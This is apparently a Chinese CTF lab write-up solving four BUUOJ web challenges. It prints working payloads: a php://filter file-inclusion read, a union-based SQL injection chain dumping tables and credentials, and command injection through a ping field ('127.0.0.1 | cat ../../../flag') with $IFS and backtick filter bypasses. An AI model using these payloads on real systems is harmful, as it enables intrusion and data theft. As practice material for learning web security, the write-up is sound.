CTF Web buu oj day12
[极客大挑战 2019]Secret File
类型
php、代码审计
解题
复习题,同day11的[ACTF2020 新生赛]Include。
右键查看源代码,发现下面有一个链接,颜色都是black所以看不到
访问Archive_room.php
但是如果点里面SECRET会访问action.php,然后直接打开是end.php结束了
只能用burpsuite抓包试试了,抓包时候发现302跳转链接,注释了一个secr3t.php
直接访问secr3t.php,看到php代码
看到文件包含,和flag位于flag.php,过滤了…/目录遍历、tp、input、data,正好能用day11的filter,构造payload:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
拿到base64编码flag.php
解码得到flag:flag{62aab2e4-1a85-4138-8565-d7574359d6c7}
[极客大挑战 2019]LoveSQL
类型
SQL注入
解题
- 按day11 easysql万能密码注入不是flag,回显一串数字,按题目应该是flag换到了别的地方。
- 普通注入方法即可:测试有多少字段->爆库->爆表->爆列->数据
- 测试多少字段
1' order by 3#
1' union select 1,2,3#
- 爆库
1' union select 1,2,group_concat(schema_name) from information_schema.schemata#
1' union select 1,2,database()#
- 爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
6. 爆字段
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
7. 爆数据
1' union select 1,2,group_concat(id,username,password) from `l0ve1ysq1`#
显示不下,右键查看页面源代码,看到flag:flag{a5f85ac6-5976-4804-97de-be070e8667cb}
[ACTF2020 新生赛]Exec
类型
php、代码审计
解题
- ping命令先输入127.0.0.1看到ping命令执行,于是想到命令执行
127.0.0.1 | whoami
执行结果www-data
127.0.0.1 | ls
,看到index.php
127.0.0.1 | cat index.php
,然后右键查看源代码看到system()函数,执行外部程序,并且显示输出
127.0.0.1 | ls ../
127.0.0.1 | ls ../../
127.0.0.1 | ls ../../../
127.0.0.1 | cat ../../../flag
得到flag:flag{c337bf77-d054-4cb6-acb8-2d09ac4220d1}
[GXYCTF2019]Ping Ping Ping
类型
php、代码审计
解题
- 打开是?/ip=,输入127.0.0.1返回ping命令执行结果,判断可以命令执行
?ip=127.0.0.1|ls
访问flag.php
?/ip=127.0.0.1|cat flag.php
- $IFS(Internal Field Separator,内部字段分隔符),默认是空格,可以用它替代空格;``包裹命令内联执行,即用被包裹命令输出结果当作输入去执行
?/ip=127.0.0.1|cat$IFS`ls`
右键查看源代码就发现flag:flag{bdc03ce7-f239-4914-9235-cb1a6c1b674b},因为flag.php定义了变量flag,代码解析后没有任何显示。
- 或者用变量替换方法
?/ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
(这里还是不理解这个$1,shell脚本第一个参数,加上和不加$1就直接导致能否看到源代码flag)